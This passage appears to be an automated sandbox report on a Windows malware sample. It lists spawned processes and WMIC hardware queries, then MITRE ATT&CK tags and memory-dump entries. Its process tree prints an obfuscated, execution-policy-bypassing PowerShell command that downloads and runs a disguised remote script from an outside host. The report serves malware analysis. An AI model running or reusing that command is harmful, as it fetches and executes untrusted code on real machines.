1⤵
PID:420
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:1888

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3148
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:1592

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2584
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:400

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Scripting

T1064

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/400-409-0x000001F16E4E0000-0x000001F16E4E2000-memory.dmp

Filesize
8KB

Download
memory/400-410-0x000001F16E4E3000-0x000001F16E4E5000-memory.dmp

Filesize
8KB

Download
memory/400-413-0x000001F16E4E6000-0x000001F16E4E8000-memory.dmp

Filesize
8KB

Download
memory/400-464-0x000001F16E4E8000-0x000001F16E4E9000-memory.dmp

Filesize
4KB

Download
memory/420-319-0x000001A4F0078000-0x000001A4F007A000-memory.dmp

Filesize
8KB

Download
memory/420-310-0x000001A4F0076000-0x000001A4F0078000-memory.dmp

Filesize
8KB

Download
memory/420-308-0x000001A4F0073000-0x000001A4F0075000-memory.dmp

Filesize
8KB

Download
memory/420-306-0x000001A4F0070000-0x000001A4F0072000-memory.dmp

Filesize
8KB

Download
memory/684-158-0x0000014F3A1F3000-0x0000014F3A1F5000-memory.dmp

Filesize
8KB

Download
memory/684-162-0x0000014F3A1F6000-0x0000014F3A1F8000-memory.dmp

Filesize
8KB

Download
memory/684-148-0x0000014F21FE0000-0x0000014F21FE1000-memory.dmp

Filesize
4KB

Download
memory/684-175-0x0000014F3B470000-0x0000014F3B471000-memory.dmp

Filesize
4KB

Download
memory/684-157-0x0000014F3A1F0000-0x0000014F3A1F2000-memory.dmp

Filesize
8KB

Download
memory/684-167-0x0000014F22020000-0x0000014F22021000-memory.dmp

Filesize
4KB

Download
memory/684-151-0x0000014F3AB90000-0x0000014F3AB91000-memory.dmp

Filesize
4KB

Download
memory/684-173-0x0000014F3A1F8000-0x0000014F3A1F9000-memory.dmp

Filesize
4KB

Download
memory/684-174-0x0000014F3B0E0000-0x0000014F3B0E1000-memory.dmp

Filesize
4KB

Download
memory/904-123-0x0000000000400000-0x00000000008DB000-memory.dmp

Filesize
4.9MB

Download
memory/904-132-0x000002553EB50000-0x000002553EDFA000-memory.dmp

Filesize
2.7MB

Download
memory/904-128-0x0000000000400000-0x00000000008DB000-memory.dmp

Filesize
4.9MB

Download
memory/904-136-0x000002553E890000-0x000002553E892000-memory.dmp

Filesize
8KB

Download
memory/904-138-0x000002553E895000-0x000002553E896000-memory.dmp

Filesize
4KB

Download
memory/904-139-0x000002553E896000-0x000002553E897000-memory.dmp

Filesize
4KB

Download
memory/904-141-0x000002553E898000-0x000002553E89A000-memory.dmp

Filesize
8KB

Download
memory/904-137-0x000002553E893000-0x000002553E895000-memory.dmp

Filesize
8KB

Download
memory/912-118-0x000000001D560000-0x000000001D561000-memory.dmp

Filesize
4KB

Download
memory/912-117-0x000000001C050000-0x000000001C052000-memory.dmp

Filesize
8KB

Download
memory/912-121-0x0000000001440000-0x0000000001441000-memory.dmp

Filesize
4KB

Download
memory/912-120-0x0000000000E90000-0x0000000000EA0000-memory.dmp

Filesize
64KB

Download
memory/912-119-0x000000001D730000-0x000000001DBD5000-memory.dmp

Filesize
4.6MB

Download
memory/912-114-0x0000000000280000-0x0000000000281000-memory.dmp

Filesize
4KB

Download
memory/912-122-0x000000001DFE0000-0x000000001E46D000-memory.dmp

Filesize
4.6MB

Download
memory/912-116-0x000000001C550000-0x000000001CB81000-memory.dmp

Filesize
6.2MB

Download
memory/1272-194-0x0000027334F73000-0x0000027334F75000-memory.dmp

Filesize
8KB

Download
memory/1272-193-0x0000027334F70000-0x0000027334F72000-memory.dmp

Filesize
8KB

Download
memory/1272-216-0x0000027334F76000-0x0000027334F78000-memory.dmp

Filesize
8KB

Download
memory/1272-235-0x0000027334F78000-0x0000027334F7A000-memory.dmp

Filesize
8KB

Download
memory/3184-303-0x000001A9F2A88000-0x000001A9F2A8A000-memory.dmp

Filesize
8KB

Download
memory/3184-264-0x000001A9F2A86000-0x000001A9F2A88000-memory.dmp

Filesize
8KB

Download
memory/3184-238-0x000001A9F2A83000-0x000001A9F2A85000-memory.dmp

Filesize
8KB

Download
memory/3184-237-0x000001A9F2A80000-0x000001A9F2A82000-memory.dmp

Filesize
8KB

Download